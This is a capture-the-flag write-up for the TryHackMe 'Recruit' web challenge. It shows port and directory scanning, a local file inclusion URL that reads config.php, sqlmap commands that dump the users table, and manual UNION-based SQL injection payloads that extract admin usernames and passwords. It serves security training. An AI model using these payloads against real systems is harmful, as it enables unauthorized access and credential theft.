> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/recruit.md).

# Recruit

{% embed url="<https://tryhackme.com/room/recruitwebchallenge>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

**Recruit** has just launched its new recruitment portal, allowing HR staff to manage candidate applications and administrators to oversee hiring decisions. While the platform appears functional, management suspects that security may have been overlooked during development. Your task is to assess the application like a real attacker, mapping its structure, abusing exposed functionality, and exploiting vulnerabilities.

Can you gain an initial foothold, escalate your access, and ultimately log in as the **administrator?**

## Summary

<details>

<summary>Summary</summary>

In Recruit, we begin with a port swcan and identify a web-based recruitment portal backed by Apache, along with exposed DNS and SSH services. Initial web recon reveals an API endpoint capable of directly retrieving uploaded CVs, hinting at a local file inclusion vulnerability, while directory brute forcing uncovers a leaked mail log containing operational details about the HR account and application structure.

By abusing the file retrieval functionality, we successfully read the application's `config.php` file and recover the HR user's plaintext credentials, granting authenticated access to the internal recruitment dashboard and the first flag. Once inside, we discover that the candidate search functionality is vulnerable to SQL injection, confirmed through error-based testing on the search parameter.

Using either manual UNION-based enumeration or an automated SQLMap workflow, we enumerate the backend MySQL database, identify the `recruit_db` database and its `users` table, and extract admin credentials directly from stored records.

</details>

## Recon

We use `rustscan -b 500 -a recruit.thm --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a recruit.thm --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/xxO0eSlJad65fI9dEpom" alt=""><figcaption></figcaption></figure>

We discover three open ports. Among those are `22` (SSH), `53` (DNS), and `80` (HTTP). SSH is running OpenSSH 8.2p1, DNS uses ISC BIND 9.16.1, and the web server is hosted via Apache 2.4.41.

<figure><img src="/files/gicqhTSfm5fY2JwdBNav" alt=""><figcaption></figcaption></figure>

First, we visit the site using our browser and are greeted by a login page. In the footer, we see a link to the API.

{% code overflow="wrap" expandable="true" %}

```
http://recruit.thm/
```

{% endcode %}

<figure><img src="/files/52CMaVEd1hKCzMfsVdMx" alt=""><figcaption></figcaption></figure>

One interesting feature of the API is the ability to retrieve CVs. Based on the structure, it appears that files are being retrieved directly from the system. We note this as a potential attack vector: a local file inclusion LFI.

{% code overflow="wrap" expandable="true" %}

```
http://recruit.thm/api.php
```

{% endcode %}

<figure><img src="/files/FDeqj1KPj8UgDDOMYWZj" alt=""><figcaption></figcaption></figure>

We continue the enumeration and perform a directory scan to discover any additional paths and pages. For this, we use Feroxbuster. The path to `/mail/mail.log` stands out here. It may contain sensitive information.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://recruit.thm'
```

{% endcode %}

<figure><img src="/files/RUgBYw09R27I2F4wBxXb" alt=""><figcaption></figcaption></figure>

## Access as hr

We visit the interesting endpoint and have indeed an email available. The email states that the HR account username is `hr` and its login credentials are temporarily stored in the application's `config.php` file, while administrator credentials are securely stored only in the backend database.

This is a big hint and strongly suggests that we might need to exploit the LFI to read the config file and, if possible, compromise the database to gain `admin` access.

{% code overflow="wrap" expandable="true" %}

```
http://recruit.thm/mail/mail.log
```

{% endcode %}

<figure><img src="/files/uWTlN9EI3fo9yYraHs5l" alt=""><figcaption></figcaption></figure>

We try to read the file `/var/www/html/config.php`, hoping that the web app doesn't execute PHP files. And we're in luck. The `config.php` file is readable, so we can extract the HR password directly from it.

{% code overflow="wrap" expandable="true" %}

```
http://recruit.thm//file.php?cv=file:///var/www/html/config.php
```

{% endcode %}

<figure><img src="/files/LCFbN73mOvq50BnHuQdC" alt=""><figcaption></figcaption></figure>

We head back to the index page and submit the credentials...

{% code overflow="wrap" expandable="true" %}

```
http://recruit.thm/
```

{% endcode %}

<figure><img src="/files/SP1QiqIVroUP7LV7RdMT" alt=""><figcaption></figcaption></figure>

... we are able to log in and get the first flag. We have a list of recruits in front of us that we can filter using a search.

{% code overflow="wrap" expandable="true" %}

```
http://recruit.thm/dashboard.php
```

{% endcode %}

<figure><img src="/files/FKxNUqreZn2YcHSWSY4U" alt=""><figcaption></figcaption></figure>

## Access as admin

We are checking whether the search function is vulnerable to SQL injection. We do this using the smallest payload, `#`. And we find that it is. We receive an SQL error, a strong indication that this field is vulnerable to SQL injection.

{% code overflow="wrap" expandable="true" %}

```
http://recruit.thm/dashboard.php?search='
```

{% endcode %}

<figure><img src="/files/bT0VIP5piVODjWcK44nT" alt=""><figcaption></figcaption></figure>

### Automated Approach

Let’s start by keeping it simple and try to solve this using SQLMap. To do this, we’ll intercept a request using Burp Suite, which we’ll then use with SQLMap.

<figure><img src="/files/n8SGBuhGynZg9eZgo4B1" alt=""><figcaption></figcaption></figure>

We are able to identify the database recruit-db.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -r req.txt -dbs
```

{% endcode %}

<figure><img src="/files/YEs9tbBhNGQCv4RC01Bl" alt=""><figcaption></figcaption></figure>

Next, we enumerate the tables and find a users table.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -r req.txt -D recruit_db --tables  
```

{% endcode %}

<figure><img src="/files/n7iobemcWpI0hVZs82DJ" alt=""><figcaption></figcaption></figure>

Next, we dump the users table and get the admin creds.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -r req.txt -D recruit_db -T users --dump
```

{% endcode %}

<figure><img src="/files/eVUnoZ5fhpVKyQVYxJrJ" alt=""><figcaption></figcaption></figure>

We log out and log in as admin with the found credentials and are greeted with the final flag.

{% code overflow="wrap" expandable="true" %}

```
http://recruit.thm/dashboard.php
```

{% endcode %}

<figure><img src="/files/w8439RwLDRBe3H6Aiil7" alt=""><figcaption></figcaption></figure>

### Manual Approach

First we begin identifying the total number of columns in the original SQL statement.

{% code overflow="wrap" expandable="true" %}

```
' ORDER BY 1 -- -
```

{% endcode %}

<figure><img src="/files/8EoX90aKGIHzW0jqTD10" alt=""><figcaption></figcaption></figure>

With `ORDER BY 5` we get an error, so like the table suggests we only have 4 columns.

{% code overflow="wrap" expandable="true" %}

```
' ORDER BY 5 -- -
```

{% endcode %}

<figure><img src="/files/24nwxbSRzaTBmSrmhmYl" alt=""><figcaption></figcaption></figure>

Next, we try to confirm if UNION-based SQL injection is possible and identify which column is reflected in the application response for displaying extracted data. Since every field is refected we move on to enumerat the database.

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1,2,3,4 -- -
```

{% endcode %}

<figure><img src="/files/ltOD4QVdqyjYn2CEHorP" alt=""><figcaption></figcaption></figure>

We enumerate all database names on the MySQL server by querying the `information_schema.schemata` and identify the `recruit_db.`

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1,2,GROUP_CONCAT(schema_name),4 FROM information_schema.schemata -- -
```

{% endcode %}

<figure><img src="/files/IHV2PRWv1g6LNwWTSsfJ" alt=""><figcaption></figcaption></figure>

Next, we list all tables inside the `recruit_db` database by querying `information_schema.tables`. We identify the `candidates` and `users` table.

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1,2,GROUP_CONCAT(table_name),4  FROM information_schema.tables  WHERE table_schema='recruit_db' -- -
```

{% endcode %}

<figure><img src="/files/IaQR3DDb51eIYyXwB9OD" alt=""><figcaption></figcaption></figure>

Now we try to enumerate all column names in the `users` table and identify the fields username and password.

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1,2,GROUP_CONCAT(column_name),4  FROM information_schema.columns  WHERE table_name='users' -- -
```

{% endcode %}

<figure><img src="/files/UYDJnjHSF8cBjBA43E9f" alt=""><figcaption></figcaption></figure>

Lastly we extract and concatenate the contents of the `username` and `password` columns from the `users` table.

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1,2,GROUP_CONCAT(username,0x3a,password),4  FROM users -- -
```

{% endcode %}

<figure><img src="/files/Hbbum4v1WUQDqW23mcHK" alt=""><figcaption></figcaption></figure>

We log out and log in as admin with the found credentials and are greeted with the final flag.

{% code overflow="wrap" expandable="true" %}

```
http://recruit.thm/dashboard.php
```

{% endcode %}

<figure><img src="/files/xsZMxBbpbplboNAtag4f" alt=""><figcaption></figcaption></figure>
